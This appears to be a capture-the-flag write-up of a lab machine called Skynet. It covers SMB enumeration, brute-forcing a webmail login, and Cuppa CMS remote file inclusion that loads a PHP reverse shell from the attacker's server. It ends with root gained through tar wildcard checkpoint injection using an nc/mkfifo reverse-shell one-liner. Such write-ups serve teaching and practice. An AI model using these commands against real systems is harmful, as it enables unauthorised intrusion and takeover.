



Skynet Write up.

Whoami: Accessone

21-10-2021

Overview

We have been tasked with penetration testing SKYNETS network all we have been given in advance is a single I.P address this will be our starting point to try and gain specific sensitive files as POC of access to the network with various levels of access.

Goals

1. Get user.txt file contents.
2. Get Root.txt File contents

Tools Used

Nmap --- <https://nmap.org/>

Gobustr --- <https://github.com/OJ/gobuster>

Burp suite (Community ed) --- <https://portswigger.net>

Smbmap --- <https://github.com/ShawnDEvans/smbmap>

Smbclient --- <https://www.samba.org/samba/docs/current/man-html/smbclient.1.html>

Curl --- <https://curl.se/docs/manpage.html>

Vulnerabilities Found

- I. Anonymous SMB share with plain text user names and credential list found.
- II. **EDB-ID: 25971** Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion
- III. File Back.sh found running regularly via cron jobs spawning a shell that we later abused to escalate our privileges

Information Provided by Skynet

skynet ip --- 10.10.41.56

Penetration test/POC -Initial Enumeration (Nmap)

```
sudo nmap -sV -sS -O -A
```

Nmap scan report for 10.10.41.56

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)

| 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)

|_ 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Skynet

110/tcp open pop3 Dovecot pop3d

|_pop3-capabilities: CAPA SASL AUTH-RESP-CODE UIDL PIPELINING RESP-CODES TOP

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

143/tcp open imap Dovecot imapd

|_imap-capabilities: more LOGIN-REFERRALS have capabilities listed post-login ENABLE IDLE

Pre-login LOGINDISABLEDA0001 OK IMAP4rev1 ID LITERAL+ SASL-IR

445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

No exact OS matches for host (If you know what OS is running on it, see <https://nmap.org/submit/>).

Host script results:

|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s

|_nbstat: NetBIOS name: SKYNET, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

| smb-os-discovery:

| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)

| Computer name: skynet

| NetBIOS computer name: SKYNET\x00

| Domain name: \x00

| FQDN: skynet

|_ System time: 2021-10-21T16:15:01-05:00

| smb-security-mode:

| account_used: guest

| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-10-21T21:15:01
|_ start_date: N/A

NMAP REVIEW

we have ssh but no creds on 22 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

we have a webserver on port 80 Apache httpd 2.4.18 ((Ubuntu))

we have some smb ports open:

139 netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

and an email service:

110/tcp open pop3 Dovecot pop3d

143/tcp open imap Dovecot imapd

|_ imap-capabilities: more LOGIN-REFERRALS have capabilities listed post-login ENABLE IDLE Pre-login
LOGINDISABLEDA0001 OK IMAP4rev1 ID LITERAL+ SASL-IR

Gobuster Enumeration

```
(kali@kali)-[~/Desktop/thm/Skynet]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -url http://10.10.41.56:80

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.41.56:80
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s

2021/10/21 17:17:54 Starting gobuster in directory enumeration mode

/admin (Status: 301) [Size: 310] [→ http://10.10.41.56/admin/]
/css (Status: 301) [Size: 308] [→ http://10.10.41.56/css/] [[B^[[B^[[B^[[B^[[B^[[B
/js (Status: 301) [Size: 307] [→ http://10.10.41.56/js/] [[B^[[B^[[B
/config (Status: 301) [Size: 311] [→ http://10.10.41.56/config/]
/ai (Status: 301) [Size: 307] [→ http://10.10.41.56/ai/]
/squirrelmail (Status: 301) [Size: 317] [→ http://10.10.41.56/squirrelmail/]
/server-status (Status: 403) [Size: 276] [[A
Progress: 211321 / 220561 (95.81%) [[A
```

Enumerating the webserver on port 80 revealed an accessible squirrelmail login portal.

All other directories found were inaccessible.



SquirrelMail
webmail
for
nuts

SquirrelMail version 1.4.23 [SVN]
By the SquirrelMail Project Team

SquirrelMail Login

Name:

Password:

Login

SMB Enumeration

```
(kali@kali)-[~/Desktop/thm/Skynet]
$ smbmap -H 10.10.41.56
[+] Guest session IP: 10.10.41.56:445 Name: 10.10.41.56

Disk Permissions Comment
-----
print$ NO ACCESS Printer Drivers
anonymous READ ONLY Skynet Anonymous Share
milesdyson NO ACCESS Miles Dyson Personal S
hare
IPC$ NO ACCESS IPC Service (skynet se
rver (Samba, Ubuntu))

(kali@kali)-[~/Desktop/thm/Skynet]
$ smbmap -H 10.10.41.56 -R \anonymous\
>
[+] Guest session IP: 10.10.41.56:445 Name: 10.10.41.56

Disk Permissions Comment
-----
anonymous READ ONLY
.\anonymous\*
dr-r--r-- 0 Thu Nov 26 11:04:00 2020 .
dr-r--r-- 0 Tue Sep 17 03:20:17 2019 ..
fr-r--r-- 163 Tue Sep 17 23:04:59 2019 attention.txt
dr-r--r-- 0 Wed Sep 18 00:42:16 2019 logs
.\anonymous\logs\*
dr-r--r-- 0 Wed Sep 18 00:42:16 2019 .
dr-r--r-- 0 Thu Nov 26 11:04:00 2020 ..
fr-r--r-- 0 Wed Sep 18 00:42:13 2019 log2.txt
fr-r--r-- 471 Wed Sep 18 00:41:59 2019 log1.txt
fr-r--r-- 0 Wed Sep 18 00:42:16 2019 log3.txt
```

Through enumeration of smb shares we found an open anonymous access share.

Further inspection of this share revealed documents containing two potential user names and a list of plain text passwords within the logs.

We can see the below the exfiltration process.


```
(kali@kali)-[~/Desktop/thm/Skynet]
$ smbmap -H 10.10.41.56 -R \anonymous\ -A attention.txt
[+] Guest session IP: 10.10.41.56:445 Name: 10.10.41.56
[+] Starting search for files matching 'attention.txt' on share anonymous.
[+] Match found! Downloading: anonymous\attention.txt

(kali@kali)-[~/Desktop/thm/Skynet]
$ smbclient \\\10.10.41.56\anonymous
Enter WORKGROUP\kali's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Nov 26 11:04:00 2020
.. D 0 Tue Sep 17 03:20:17 2019
attention.txt N 163 Tue Sep 17 23:04:59 2019
logs D 0 Wed Sep 18 00:42:16 2019
9204224 blocks of size 1024. 5810600 blocks available
smb: \> cd logs
smb: \logs\> ls
. D 0 Wed Sep 18 00:42:16 2019
.. D 0 Thu Nov 26 11:04:00 2020
log2.txt N 0 Wed Sep 18 00:42:13 2019
log1.txt N 471 Wed Sep 18 00:41:59 2019
log3.txt N 0 Wed Sep 18 00:42:16 2019
9204224 blocks of size 1024. 5810600 blocks available
smb: \logs\> get log*.txt
NT_STATUS_OBJECT_NAME_INVALID opening remote file \logs\log*.txt
smb: \logs\> get log1.txt
getting file \logs\log1.txt of size 471 as log1.txt (4.0 KiloBytes/sec) (average 4.0 KiloBytes/sec)
smb: \logs\>
```


Email account Compromisation

Using the user name **miles dyson** that was found within **attention.txt** and the list of passwords we found within the logs we used burp suite to catch our login in request then sent it over to the intruder tool to run a brute force attack against the login.


Catching our request with burp proxy:



Setting payload positions for intruder to test against:



Successful output from the password list via burpsuit:




The image shows the 'Results' tab in Burp Suite. The title bar indicates '2. Intruder attack of 10.10.41.56 - Temporary attack - Not saved to project file'. The 'Filter' shows 'Showing all items'. The table below lists the results of the attack.


Request ^	Payload	Status	Error	Timeout	Length	Comment
0		200	<input type="checkbox"/>	<input type="checkbox"/>	3240	
1	cyborg007haloterminator	302	<input type="checkbox"/>	<input type="checkbox"/>	2110	
2	terminator22596	200	<input type="checkbox"/>	<input type="checkbox"/>	3240	

This gave us the password seen in the above image with status code 302.


We took this password and used it against milesdyson on the email client.



Once into the email account we worked through the emails finding some useful further login credentials for miles dyson.



This lead us onto our next SMB Share:



we find a document called **important.txt** under a **notes** Directory so we exfiltrate this file:

```
kali@kali: -
File Actions Edit View Help
Failed to use machine account credentials

(kali@kali)~[~]
$ smbclient \\\10.10.41.56\\milesdyson -U milesdyson
Enter WORKGROUP\milesdyson's password:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0 Tue Sep 17 05:05:47 2019
..               D          0 Tue Sep 17 23:51:03 2019
Improving Deep Neural Networks.pdf N 5743095 Tue Sep 17 05:05:14 2019
Natural Language Processing-Building Sequence Models.pdf N 12927230 Tue Sep 17 05:05:14 2019
Convolutional Neural Networks-CNN.pdf N 19655446 Tue Sep 17 05:05:14 2019
notes            D          0 Tue Sep 17 05:18:40 2019
Neural Networks and Deep Learning.pdf N 4304586 Tue Sep 17 05:05:14 2019
Structuring your Machine Learning Project.pdf N 3531427 Tue Sep 17 05:05:14 2019
```


```
smb: \> cd notes
smb: \notes\> ls
.                D          0 Tue Sep 17 05:18:40 2019
..               D          0 Tue Sep 17 05:05:47 2019
3.01 Search.md   N 65601 Tue Sep 17 05:01:29 2019
4.01 Agent-Based Models.md N 5683 Tue Sep 17 05:01:29 2019
2.06 In Practice.md N 7949 Tue Sep 17 05:01:29 2019
0.00 Cover.md    N 3114 Tue Sep 17 05:01:29 2019
1.02 Linear Algebra.md N 70314 Tue Sep 17 05:01:29 2019
important.txt    N 117 Tue Sep 17 05:18:39 2019
6.01 pandas.md   N 9221 Tue Sep 17 05:01:29 2019
3.00 Artificial Intelligence.md N 33 Tue Sep 17 05:01:29 2019
2.01 Overview.md N 1165 Tue Sep 17 05:01:29 2019
3.02 Planning.md N 71657 Tue Sep 17 05:01:29 2019
1.04 Probability.md N 62712 Tue Sep 17 05:01:29 2019
2.06 Natural Language Processing.md N 82633 Tue Sep 17 05:01:29 2019
2.00 Machine Learning.md N 26 Tue Sep 17 05:01:29 2019
1.03 Calculus.md N 40779 Tue Sep 17 05:01:29 2019
3.03 Reinforcement Learning.md N 25119 Tue Sep 17 05:01:29 2019
1.08 Probabilistic Graphical Models.md N 81655 Tue Sep 17 05:01:29 2019
1.06 Bayesian Statistics.md N 39554 Tue Sep 17 05:01:29 2019
6.00 Appendices.md N 20 Tue Sep 17 05:01:29 2019
1.01 Functions.md N 7627 Tue Sep 17 05:01:29 2019
2.03 Neural Nets.md N 144726 Tue Sep 17 05:01:29 2019
2.04 Model Selection.md N 33383 Tue Sep 17 05:01:29 2019
2.02 Supervised Learning.md N 94287 Tue Sep 17 05:01:29 2019
4.00 Simulation.md N 20 Tue Sep 17 05:01:29 2019
3.05 In Practice.md N 1123 Tue Sep 17 05:01:29 2019
1.07 Graphs.md N 5110 Tue Sep 17 05:01:29 2019
2.07 Unsupervised Learning.md N 21579 Tue Sep 17 05:01:29 2019
2.05 Bayesian Learning.md N 39443 Tue Sep 17 05:01:29 2019
5.03 Anonymization.md N 2516 Tue Sep 17 05:01:29 2019
5.01 Process.md N 5788 Tue Sep 17 05:01:29 2019
1.09 Optimization.md N 25823 Tue Sep 17 05:01:29 2019
1.05 Statistics.md N 64291 Tue Sep 17 05:01:29 2019
5.02 Visualization.md N 940 Tue Sep 17 05:01:29 2019
5.00 In Practice.md N 21 Tue Sep 17 05:01:29 2019
4.02 Nonlinear Dynamics.md N 44601 Tue Sep 17 05:01:29 2019
1.10 Algorithms.md N 28790 Tue Sep 17 05:01:29 2019
3.04 Filtering.md N 13360 Tue Sep 17 05:01:29 2019
1.00 Foundations.md N 22 Tue Sep 17 05:01:29 2019

9204224 blocks of size 1024. 5810536 blocks available
smb: \notes\> get important.txt
getting file \notes\important.txt of size 117 as important.txt (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
```

This file contained the name of a hidden directory on the web server:

```
1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife
```

If we navigate to the hidden directory we find miles dysons personal page:



Nothing really interesting here but we now know what miles looks like.

Within the source code it tells us he is the creator of skynet AI.

We run GoBuster on the hidden directory seen below:

```
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --url http://10.10.41.56//45kra24zxs28v3yd

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)


[+] Url:          http://10.10.41.56//45kra24zxs28v3yd
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.1.0
[+] Timeout:      10s

2021/10/21 18:03:25 Starting gobuster in directory enumeration mode

/administrator      (Status: 301) [Size: 335] [→ http://10.10.41.56/45kra24zxs28v3yd/administrator/]

2021/10/21 18:16:09 Finished
```

we find an /Administrator directory so we navigate to it via <http://skynetIP/45kre24xzs28v3yd/administrator/> in our web browser.



CMS SERVER Exploitation

We check on searchsploit for **cuppa cms**:

Exploit Title	Path
Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion	php/webapps/25971.txt

Shellcodes: No Results

The Referenced **EDB-ID: 25971** allows local and remote file inclusions on the server.

<https://www.exploit-db.com/exploits/25971>

EDB-ID:		CVE:
25971		
EDB Verified: ✓		

Author:	Type:	Platform:	Date:
CWH UNDERGROUND	WEBAPPS	PHP	2013-06-05
Exploit: 🚀 / {}			

Vulnerable App:
Vulnerable App: 📄


```
# Exploit Title   : Cuppa CMS File Inclusion
# Date          : 4 June 2013
# Exploit Author : CWH Underground
# Site         : www.2600.in.th
# Vendor Homepage : http://www.cuppacs.com/
# Software Link : http://jaist.dl.sourceforge.net/project/cuppacs/cuppa_cms.zip
# Version      : Beta
# Tested on    : Window and Linux
```

=====

VULNERABILITY: PHP CODE INJECTION

=====

```
/alerts/alertConfigField.php (LINE: 22)

.....
LINE 22:
<?php include($_REQUEST["urlConfig"]); >>
.....
```

=====

DESCRIPTION



=====

An attacker might include local or remote PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.

http://target/cuppa/alerts/alertConfigField.php?urlConfig[F1]

To exploit this vulnerability we used the PenTest-Monkey PHP Reverse Shell ensuring to configure the script to our own ip and port that we would start a listener on.

<https://github.com/pentestmonkey/php-reverse-shell>



Once we have done this we are close to getting our initial shell first of all we rename our script to shell.php then open a python http server to serve the file to the server request:

```
(kali@kali)-[~/Desktop/thm/Skynet/php-reverse-shell]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

Then start a Netcat listener to catch the reverse connection:

```
(kali@kali)-[~]
$ nc -lvp 9001
listening on [any] 9001 ...
```

We then launch the attack using the following command:

```
(kali@kali)-[~/Desktop/thm/Skynet]
$ curl -X GET http://10.10.41.56/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.9.7.59:8000/shell.php?
```

This command tells the server to take the file from our machine, upload's it and executes it due to the vulnerability within cuppa cms.

Our http server responds serving the file which the server will then execute due to us using a Get request:

```
(kali@kali)-[~/Desktop/thm/Skynet/php-reverse-shell]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.41.56 - - [21/Oct/2021 18:26:04] "GET /shell.php HTTP/1.0" 200 -
```

This spawns us a shell on the skynet machine:

```
kali@kali: ~
File Actions Edit View Help

(kali@kali)-[~]
$ nc -lvp 9001
listening on [any] 9001 ...
connect to [10.9.7.59] from (UNKNOWN) [10.10.41.56] 49018
Linux skynet 4.8.0-58-generic #63-16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
17:26:04 up 1:20, 0 users, load average: 0.00, 0.00, 0.00
USER      TTY      FROM      LOGIN@    IDLE      JCPU      PCPU      WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```


We then stabilise our shell o allow us to use the Tab autocomplete, navigation arrows as well as to prevent us accidentally dropping the shell:

```
(kali@kali)-[~]
$ nc -lvp 9001
listening on [any] 9001 ...
connect to [10.9.7.59] from (UNKNOWN) [10.10.41.56] 49018
Linux skynet 4.8.0-58-generic #63-16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64
17:26:04 up 1:20, 0 users, load average: 0.00, 0.00, 0.00
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c "import pty; pty.spawn('/bin/bash')"
www-data@skynet:/$
```

Entered above: `python -c "import pty; pty.spawn('/bin/bash')"`

Then CTRL + Z to background the shell.

On our attack machine terminal we do the following:

```
(kali@kali)-[~]
$ stty raw -echo; fg
[1] + continued nc -lvp 9001
export TERM=xterm
bash: export: `TERM=xterm': not a valid identifier
www-data@skynet:/$ export TERM=xterm
www-data@skynet:/$
```

Stty raw -echo; fg this will reopen our shell as seen above we then in the skynet shell type:

Export TERM=xterm

And execute it we now have a stabilised shell that won't die on us.

Having a look around the users profile and find a user.txt

```
www-data@skynet:/$ cd usr
www-data@skynet:/usr$ ls
bin  games  include  lib  local  sbin  share  src
www-data@skynet:/usr$ cd ..
www-data@skynet:/$ cd home
www-data@skynet:/home$ ls
milesdyson
www-data@skynet:/home$ cd milesdyson
www-data@skynet:/home/milesdyson$ ls
backups  mail  share  user.txt
www-data@skynet:/home/milesdyson$ cat user.txt
7ce5c2109a40f958099283600a9ae807
www-data@skynet:/home/milesdyson$
```

Cat the file and find flag 1.

Privilege escalation from WWW to root.

After looking at a few different possible vectors for priv escalation on the network i came across a cron job running backup.sh every 1 minute.

```
www-data@skynet:/etc$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/1 * * * * root    /home/milesdyson/backups/backup.sh
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
```

The file was spawning a shell and then creating a backup of the entire directory, it was running as root and i could write to that directory after further research we found that wild card injection within tar checkpoint actions was the way forward this means commands can be executed with the use of checkpoint actions since tar has a wildcard.

Seen below is the cat of backup.sh showing what it does:

```
www-data@skynet:/home/milesdyson/backups$ ls
backup.sh  backup.tgz

www-data@skynet:/home/milesdyson/backups$ cat backup.sh

#!/bin/bash
cd /var/www/html

tar cf /home/milesdyson/backups/backup.tgz *
```

Spawns a shell navigates to the /var/www/html directory and creates a backup of it.

So we will navigate to that directory and create our privesc file:

```
www-data@skynet:/etc$ cd ..
www-data@skynet:/var/www/html$
ml$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 10.9.7.59 9005 >/tmp/f" > shell.sh

www-data@skynet:/var/www/html$ touch "/var/www/html/--checkpoint-action=exec=sh shell2.sh"
www-data@skynet:/var/www/html$ touch "/var/www/html/--checkpoint-action=exec=sh shell2.sh"r/var/www/html/--checkpoint-action=exec=sh
www-data@skynet:/var/www/html$ touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint=1"
www-data@skynet:/var/www/html$
```

As seen in the second image above we then set the checkpoint flags and just sit back and wait once we have set up our new Netcat listener after a minute our nc listener gets a shell which is root!!

```
(kali@kali)-[~]  
$ nc -lvp 9005  
listening on [any] 9005 ...  
█
```

A min later once the cron job runs.

```
(kali@kali)-[~]  
$ nc -lvp 9005  
listening on [any] 9005 ...  
connect to [10.9.7.59] from (UNKNOWN) [10.10.41.56] 39570  
/bin/sh: 0: can't access tty; job control turned off  
# whoami  
root  
# █
```

All that's left is to go and collect the root flag for proof of access.

```
# ls  
45kra24zxs28v3yd  
admin  
ai  
--checkpoint-action-exec-sh shell.sh  
config  
css  
image.png  
index.html  
js  
shell.sh  
style.css  
# cd  
# ls  
root.txt  
# cat root.txt  
3f0372db24753accc7179a282cd6a949  
# █
```

Thanks for taking the time to read my report.